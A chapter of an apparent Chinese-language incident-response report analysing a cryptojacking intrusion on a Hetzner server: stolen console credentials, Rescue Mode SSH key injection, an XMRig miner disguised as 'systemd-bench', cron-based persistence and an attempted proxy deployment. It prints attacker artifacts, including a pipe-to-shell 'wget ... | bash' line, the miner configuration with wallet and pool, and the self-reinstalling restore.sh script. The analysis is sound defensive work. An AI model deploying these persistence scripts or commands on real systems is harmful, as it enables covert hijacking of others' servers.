02-攻击技术架构
本章深入分析攻击者的技术架构,包括 Rescue Mode API 滥用攻击链、三层持久化机制、网络逃逸技术、C2 通信特征,以及双重获利模式的技术实现。
2.1 初始入侵:云控制平面利用
2.1.1 凭证获取路径
攻击者通过信息窃取恶意软件(Infostealer)获取了受害者的 Hetzner 控制台凭证:
攻击路径:
受害者设备 → 信息窃取恶意软件(Raccoon/RedLine/Vidar) →
密码管理器导出 → Telegram 地下市场 → 攻击者购买
被窃取的凭证类型:
| 凭证类型 | 存储位置 | 影响 |
|---|---|---|
| 控制台密码 | 1Password 密码管理器 | 可登录 Web 控制台 |
| TOTP 种子 | 同一密码管理器 | 可生成有效 2FA 代码 |
| API 令牌 | ~/.config/hcloud/cli.toml 明文存储 | 绕过 2FA 直接 API 访问 |
2.1.2 为什么 2FA 失效
sequenceDiagram
participant 攻击者
participant 密码管理器
participant Hetzner 控制台
participant TOTP 算法
攻击者->>密码管理器:窃取 vault 导出
密码管理器-->>攻击者:返回密码 + TOTP 种子
攻击者->>TOTP 算法:使用种子生成代码
TOTP 算法-->>攻击者:有效 2FA 代码
攻击者->>Hetzner 控制台:密码 + 2FA 代码
Hetzner 控制台-->>攻击者:认证成功
Note over 攻击者,Hetzner 控制台:2FA 降级为单因素认证
关键洞察:当密码和 TOTP 种子存储在同一数据源时,双因素认证实际上退化为单因素认证。攻击者只需攻破这一个数据源即可获得完整访问权限。
2.1.3 API 令牌暴露
在受害者本地机器上发现的 API 令牌配置:
# ~/.config/hcloud/cli.toml
active_context = "innora-context"
[[contexts]]
name = "innora-context"
token = "YBohBHaeT7JmBXUWQJZFTPxZB1T8..." # 完整读写权限
风险特征:
- 明文存储:令牌未加密,任何能读取文件的用户/进程均可获取
- 权限过大:Read+Write 权限允许执行所有 API 操作
- 硬编码:在 11+ 部署脚本中硬编码,难以轮换
- 绕过 2FA:API 令牌认证不需要 2FA 验证
2.2 SSH 密钥注入攻击链
2.2.1 不可能的时间戳
取证分析发现的关键异常:
# 系统日志时间线
01:39:01 最后正常 cron 作业执行
01:45:35 qemu-ga: guest-ping 调用(hypervisor → VM 健康检查)
01:47:03 Systemd 关闭开始(所有服务停止)
01:47:03 QEMU Guest Agent 停止
01:47:03 EXT4 卷卸载
01:50:22 *** authorized_keys 被修改 ***(VM 离线,磁盘可访问)
01:51:25 新内核启动(6.8.0-101-generic)
01:51:36 攻击者 SSH 登录(82.162.122.144)
关键发现:authorized_keys 的修改时间戳 01:50:22 位于 VM 关闭(01:47:03)和启动(01:51:25)之间。VM 内部的任何进程都不可能在离线状态下修改此文件。
2.2.2 Rescue Mode 攻击链
flowchart TD
A[攻击者上传 SSH 密钥到 Hetzner 控制台] --> B[POST /ssh_keys<br/>name: sanya-key]
B --> C[启用 Rescue Mode 并指定密钥]
C --> D[POST /servers/{id}/actions/enable_rescue<br/>ssh_keys: sanya-key]
D --> E[触发 VM 重启]
E --> F[POST /servers/{id}/actions/reboot]
F --> G[VM 关闭 01:47:03]
G --> H[VM 启动到 Rescue System<br/>Debian 内存系统]
H --> I[攻击者 SSH 登录 Rescue System<br/>使用 sanya-key]
I --> J[挂载生产磁盘<br/>mount /dev/sda1 /mnt]
J --> K[注入 SSH 密钥<br/>echo key >> /mnt/root/.ssh/authorized_keys]
K --> L[重启回正常系统]
L --> M[VM 正常启动 01:51:25]
M --> N[攻击者 SSH 登录生产系统<br/>使用注入的密钥 01:51:36]
style G fill:#ff6b6b
style H fill:#feca57
style K fill:#ff6b6b
style N fill:#ff6b6b
2.2.3 密钥分离策略
攻击者使用了两个不同的 SSH 密钥:
| 密钥名称 | 用途 | 指纹 | 特征 |
|---|---|---|---|
sanya-key | Rescue Mode 引导 | 4c:4a:c8:1c:a7:e3:12:15:99:65:77:f1:3b:ab:ad:b4 | 控制台可见,有注释 |
| 运营密钥 | 持久化 SSH 访问 | SHA256:po9SzNdFeZY77d5wLNkx80bjjyF+bn2wveAS2j60zek | 注入到 authorized_keys,无注释 |
密钥分离的目的:
- 操作隔离:Rescue Mode 密钥仅用于初始引导,降低暴露风险
- 持久化隐藏:运营密钥无注释,难以与自动化注入区分
- 追踪困难:两个密钥增加取证分析复杂度
2.2.4 被注入的运营密钥
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILzoNOiTmlWlB0tGrL7CPjHGSX+VeoOkDqeLjAeWfQwU
可疑特征:
- 无注释:所有合法密钥都有
user@host注释,此密钥没有 - 程序化注入:符合自动化脚本注入的特征
- 权限持久化:即使删除控制台密钥,此密钥仍保持访问权限
2.3 侦察阶段
2.3.1 并行 SSH 会话
攻击者建立了两个并行的 SSH 会话进行侦察:
| 会话 | 持续时间 | 活动 |
|---|---|---|
| pts/0 | 01:51 - 03:56(2 小时 4 分) | 系统探索、进程枚举 |
| pts/1 | 02:11 - 04:27(2 小时 15 分) | 深度调查、凭证发现 |
2.3.2 侦察命令
从 bash_history 中恢复的命令:
# 权限验证
id # 确认 root 权限
# 系统基准测试(评估计算资源)
wget -qO - bench.sh | bash
# 凭证访问
# 直接访问 bash 历史中的 Binance API 凭证
# 查询账户余额
2.3.3 休眠期分析
攻击者在首次入侵后休眠了 4 天(3 月 2 日 -3 月 6 日),这符合以下模式:
gantt
title 攻击活动阶段
dateFormat YYYY-MM-DD HH:mm
axisFormat %m-%d
section 入侵阶段
初始入侵 :03-02 01:51, 2h
侦察活动 :03-02 01:51, 2h30m
section 休眠期
目标评估/批处理 :03-02 04:30, 4d
section 部署阶段
XMRig 部署 :03-06 12:00, 1h
持久化建立 :03-06 12:30, 30m
section 运行阶段
挖矿运行 :03-06 13:00, 2d
休眠期目的:
- 批处理工作流:先入侵多个目标,稍后统一获利
- 目标优先级评估:根据服务器资源确定部署参数
- OPSEC:在初始访问和恶意软件部署之间进行时间隔离
2.4 XMRig 挖矿程序分析
2.4.1 二进制属性
| 属性 | 值 |
|---|---|
| 文件名 | systemd-bench(伪装成 systemd 组件) |
| 真实身份 | XMRig 6.25.0 |
| SHA256 | 96fc528ca5e7d1c2b3add5e31b8797cb126f704976c8fbeaecdbf0aa4309ad46 |
| 构建 ID | 7957727edae3fe27250377f345994aa2ba7f5143 |
| 文件类型 | ELF 64 位 LSB 可执行文件,x86-64,静态链接,已剥离 |
| 大小 | 7.9 MB(8,334,576 字节) |
| 编译器 | GCC(来自 .gcc_except_table 段) |
| 构建路径 | /home/buildbot/xmrig/scripts/build/ |
| OpenSSL | 3.0.16(2025 年 2 月 11 日)- 静态链接 |
| hwloc | 2.12.1 - 静态链接(CPU 拓扑检测) |
2.4.2 静态链接策略
flowchart LR
A[XMRig 源码] --> B[编译过程]
B --> C[静态链接 OpenSSL]
B --> D[静态链接 hwloc]
B --> E[剥离调试符号]
C --> F[最终二进制文件]
D --> F
E --> F
F --> G[优势 1: 便携性]
F --> H[优势 2: 检测逃逸]
F --> I[优势 3: 自包含]
style G fill:#a8e6cf
style H fill:#a8e6cf
style I fill:#a8e6cf
静态链接的优势:
- 便携性:无需安装依赖即可在任何 Linux 发行版上运行
- 检测逃逸:无共享库加载事件可监控
- 自包含部署:单文件投放,无包管理器足迹
- 抵抗库更新:宿主系统更新不会破坏功能
2.4.3 二进制伪装(T1036.005)
从 xmrig 重命名为 systemd-bench 的策略:
| 命名元素 | 目的 | 示例对比 |
|---|---|---|
systemd- 前缀 | 混入合法 systemd 进程 | systemd-journald, systemd-resolved |
-bench 后缀 | 合理的 benchmarking 工具解释 | 如果被质疑可解释为性能测试工具 |
| 隐藏目录 | 点前缀目录降低可见性 | /root/.system-cache/ |
2.4.4 挖矿配置分析
配置文件 .bench.json 内容:
{
"pools": [{
"coin": "monero",
"url": "pool.supportxmr.com:443",
"user": "4ABnCJEm7Umfip66JRPJ35JtdDkM6BWrA1JqXMDMfQaVVxECJS584THY6cm4y6STLDW9H5fAGoCpebvYrj3PKWy6DiXd75r",
"pass": "work232_web",
"tls": true,
"keepalive": true
}],
"cpu": {
"enabled": true,
"huge-pages": false,
"hw-aes": true,
"priority": 3,
"yield": true,
"max-threads-hint": 100,
"asm": true
},
"http": { "enabled": false },
"donate-level": 1,
"syslog": false,
"verbose": 0,
"pause-on-battery": false,
"pause-on-active": false
}
配置参数分析:
| 参数 | 值 | 目的 |
|---|---|---|
tls: true | TLS 加密(443 端口) | 加密挖矿流量,逃逸 DPI 检测 |
keepalive: true | 持久连接 | 减少连接切换,避免重复 DNS 查询 |
http.enabled: false | 禁用 HTTP API | 消除本地 API 检测面 |
yield: true | 向其他进程让出 CPU | 减少可见的性能影响 |
priority: 3 | 低于正常优先级 | 最小化对合法工作负载的影响 |
verbose: 0 | 最小日志 | 减少磁盘 I/O 和日志足迹 |
syslog: false | 无 syslog 输出 | 避免在系统日志中留下痕迹 |
2.5 安装脚本分析
2.5.1 脚本概述
install_bench.sh 是一个 806 行的 Bash 脚本,全文使用俄语编写:
#!/bin/bash
#==============================================================================
# XMRig Auto Installer & Manager
# Автоматическая установка с защитой от удаления
# (带删除保护的自动安装)
#==============================================================================
功能特性:
- 交互式模式和静默模式支持
- 多平台支持(Linux x86_64/ARM64, FreeBSD)
- 动态版本发现(GitHub Releases API)
- 自动恢复和健康监控
2.5.2 系统检测
detect_system() {
OS_TYPE=$(uname -s | tr '[:upper:]' '[:lower:]') # linux, freebsd
ARCH=$(uname -m) # x86_64, aarch64/arm64
}
支持的平台表明攻击者也针对 BSD 环境(如 DigitalOcean FreeBSD droplets)。
2.5.3 版本发现
get_available_versions() {
VERSIONS_JSON=$(curl -s --max-time 10 \
https://api.github.com/repos/xmrig/xmrig/releases)
# 提取版本标签并验证目标平台二进制可用性
# 回退到硬编码版本:6.22.0, 6.21.3, 6.20.0
}
动态查询 GitHub API 确保始终部署最新版本,硬编码回退版本提供对 API 速率限制的弹性。
2.5.4 工作节点命名
get_worker_name() {
HOSTNAME_SUFFIX=$(hostname | tail -c 4)
# 提示攻击者输入基础名称,附加主机名后缀
WORKER_NAME="${WORKER_BASE}_${HOSTNAME_SUFFIX}"
}
命名模式 {base}_{hostname_suffix} 创建唯一的工作节点标识符:
- Base:攻击者分配的序号(如
work232) - Suffix:主机名最后 3 个字符(如
web来自innora-web)
结构化命名的优势:
- 在矿池仪表板中追踪单个被入侵主机
- 快速识别和分类被入侵的基础设施
- 检测工作节点离线(表明被清理/发现)
2.6 持久化架构
2.6.1 三层持久化设计
flowchart TD
subgraph Layer1[第一层:Crontab]
A1[@reboot: 启动后 90 秒检查]
A2[*/30 * * * *: 每 30 分钟检查]
end
subgraph Layer2[第二层:恢复脚本]
B1[/etc/xmrig-restore/restore.sh]
B2[阶段 1: 二进制存在检查]
B3[阶段 2: 进程存活检查]
end
subgraph Layer3[第三层:配置备份]
C1[/etc/xmrig-restore/config.env]
C2[WORKER_NAME, THREADS, WALLET 等]
end
A1 --> B1
A2 --> B1
B1 --> B2
B1 --> B3
B2 --> C1
B3 --> C1
B2 -- 二进制缺失 --> D[触发完整重新安装]
B3 -- 进程死亡 --> E[从现有二进制重启]
style D fill:#ff6b6b
style E fill:#feca57
2.6.2 第一层:Crontab 持久化(T1053.003)
@reboot sleep 90 && /etc/xmrig-restore/restore.sh
*/30 * * * * /etc/xmrig-restore/restore.sh
- 启动持久化:重启后等待 90 秒(让系统服务稳定)后检查矿工状态
- 健康监控:每 30 分钟验证矿工运行状态,必要时重启
- 90 秒延迟:避免与系统初始化竞争,减少可疑的早期启动进程模式
2.6.3 第二层:恢复脚本
/etc/xmrig-restore/restore.sh 实现两阶段恢复:
#!/bin/bash
source /etc/xmrig-restore/config.env 2>/dev/null || exit 1
# 阶段 1: 二进制存在检查
if [ ! -f "$INSTALL_DIR/$BINARY_NAME" ]; then
echo "$(date): Miner not found, starting reinstall" >> /var/log/xmrig-restore.log
cd /etc/xmrig-restore
./install_bench.sh --silent # 从 GitHub 完整重新安装
exit 0
fi
# 阶段 2: 进程存活检查
if [ -f "$PID_FILE" ]; then
PID=$(cat "$PID_FILE")
if ps -p "$PID" > /dev/null 2>&1; then
exit 0 # 正常运行
fi
fi
# 重启死亡进程
nohup ./"$BINARY_NAME" --config="$CONFIG_NAME" --threads="$THREADS" > "$LOG_NAME" 2>&1 &
echo $! > "$PID_FILE"
恢复能力:
- 如果二进制文件被删除:从 GitHub 触发完整重新安装
- 如果进程崩溃:从现有二进制文件重启
- 如果 PID 文件过期:清理并重启
- 所有事件记录到
/var/log/xmrig-restore.log
2.6.4 第三层:配置备份
/etc/xmrig-restore/config.env 存储所有部署参数:
WORKER_NAME="work232_web"
THREADS=2
XMRIG_VERSION="6.25.0"
XMR_WALLET="4ABnCJEm7Umfip66...DiXd75r"
POOL_URL="pool.supportxmr.com:443"
INSTALL_DIR="/root/.system-cache"
BINARY_NAME="systemd-bench"
CONFIG_NAME=".bench.json"
PID_FILE="/var/run/.bench.pid"
这使得 install_bench.sh 的 --silent 模式能够在无需交互式输入的情况下执行完整重新安装。
2.6.5 持久化文件系统布局
/root/.system-cache/ # 隐藏安装目录
├── systemd-bench # XMRig 二进制(伪装)
├── .bench.json # 挖矿配置
├── .bench.log # 挖矿输出日志
└── .bench.pid → /var/run/ # PID 文件(符号链接)
/etc/xmrig-restore/ # 持久化目录
├── install_bench.sh # 完整安装程序(副本)
├── restore.sh # 健康检查 + 重启脚本
└── config.env # 部署参数备份
/usr/local/bin/ # 管理工具
├── miner-status # 状态检查器
└── miner-stop # 优雅关闭
/var/run/.bench.pid # 运行时 PID 文件
/var/log/xmrig-restore.log # 恢复事件日志
2.6.6 彻底清除持久化
# 1. 杀死进程
kill -9 $(cat /var/run/.bench.pid); pkill -f systemd-bench
# 2. 删除 crontab 条目
crontab -l | grep -v xmrig-restore | crontab -
# 3. 删除所有文件
rm -rf /root/.system-cache/ /root/.system/ /etc/xmrig-restore/
rm -f /usr/local/bin/miner-status /usr/local/bin/miner-stop
rm -f /var/run/.bench.pid /var/log/xmrig-restore.log
# 4. 从 authorized_keys 删除攻击者 SSH 密钥
关键:仅删除二进制文件或杀死进程而不清除 crontab 和 /etc/xmrig-restore/ 将导致 30 分钟内自动重新安装。
2.7 网络逃逸和 C2 特征
2.7.1 TLS 加密挖矿流量
矿工通过 TLS 加密连接到 pool.supportxmr.com:443:
pool.supportxmr.com:443
├── IP: 141.95.72.60(OVH, 德国)
├── 端口:443(HTTPS)
├── 协议:TLS-encrypted Stratum
└── 特征:与正常 HTTPS 流量无法区分
逃逸技术:
- 标准 HTTPS 端口:使用 443 端口,混入正常 HTTPS 流量
- TLS 加密:抵抗深度包检测(DPI),无需 TLS 终止无法检查内容
- 签名逃逸:加密的 Stratum 协议逃避基于签名的 IDS 检测
2.7.2 无传统 C2 通道
此活动不使用传统命令控制服务器:
flowchart LR
subgraph 传统 C2
A[被感染主机] -->|HTTP/DNS| B[C2 服务器]
B -->|命令 | A
end
subgraph 此活动的 C2-less 架构
C[被感染主机] -->|SSH| D[攻击者直接访问]
C -->|矿池心跳 | E[SupportXMR 仪表板]
E -->|状态监控 | F[攻击者]
F -->|SSH 管理 | C
end
style D fill:#feca57
style E fill:#a8e6cf
style F fill:#feca57
C2-less 架构:
- 直接 SSH 访问:注入的 SSH 密钥提供按需 root 访问进行手动管理
- 矿池作为隐式 C2:矿池连接提供心跳——攻击者通过 SupportXMR 仪表板监控工作节点状态
- Crontab 作为任务调度:恢复脚本作为本地任务调度器,确保矿工保持运行
优势:无法通过 C2 关闭来破坏活动——矿池是拥有许多用户的合法服务。
2.7.3 网络栈修改
攻击者修改了主机网络栈以优化性能:
# BBR 拥塞控制(减少丢包,提高吞吐量)
modprobe tcp_bbr
echo "net.core.default_qdisc=fq" >> /etc/sysctl.conf
echo "net.ipv4.tcp_congestion_control=bbr" >> /etc/sysctl.conf
sysctl -p
BBR(Bottleneck Bandwidth and Round-trip propagation time)是 Google 的 TCP 拥塞控制算法。启用它可提高矿池连接稳定性,特别是在网络质量可变的 VPS 实例上。
2.7.4 防火墙修改
ufw allow 2222 # RemnaWave VPN 节点端口
ufw allow 8443 # RemnaWave/proxy
ufw allow 3443 # RemnaWave/proxy
ufw allow 443 # TLS(挖矿已开放)
ufw allow 58888 # 未知服务
这些防火墙更改是为 RemnaWave VPN 节点(最终未能部署)准备的。挖矿流量本身不需要防火墙更改,因为到 443 端口的出站连接通常默认允许。
2.8 双重获利模式
2.8.1 RemnaWave VPN 部署
攻击者通过 Docker 部署了 RemnaWave 节点(非管理面板):
# /opt/remnanode/docker-compose.yml
services:
remnawave-node:
image: remnawave/node:latest
network_mode: host
ports:
- "2222:2222"
environment:
- SECRET_KEY=<base64-encoded-key> # 链接到攻击者的管理面板
- NODE_PORT=2222
network_mode: host 配置使容器完全访问主机的网络栈,SECRET_KEY 将此节点链接到攻击者的中央管理面板。
2.8.2 双重获利模型
| 收入流 | 工具 | 收入模式 |
|---|---|---|
| 加密货币挖矿 | XMRig | 来自 CPU 算力的直接 XMR 收益 |
| 代理转售 | RemnaWave | 通过被入侵 IP 出售 VPN/代理访问 |
代理转售可能比挖矿更有利可图——来自各种地理位置的住宅或数据中心 IP 在灰色/黑色市场上价格昂贵。每个被入侵的 VPS 提供唯一的出口 IP。
2.8.3 VPN 部署失败
RemnaWave 容器从未成功启动——发现时未出现在 docker ps 输出中。可能原因:
- Docker 镜像拉取失败
- 容器配置错误
- 与矿工并行的系统资源不足
- 攻击者可能放弃了此部署,选择仅挖矿
2.9 本章小结
本章深入分析了攻击技术架构:
- 初始入侵:通过被盗凭证利用云控制平面 API
- SSH 密钥注入:通过 Rescue Mode API 实现 hypervisor 级入侵
- XMRig 分析:静态链接、二进制伪装、配置参数
- 持久化架构:三层恢复机制确保长期访问
- 网络逃逸:TLS 加密、C2-less 架构、BBR 优化
- 双重获利:XMRig 挖矿 + RemnaWave 代理转售尝试
下一章将进行攻击手法对比分析,评估此类攻击与传统入侵技术的差异和独特性。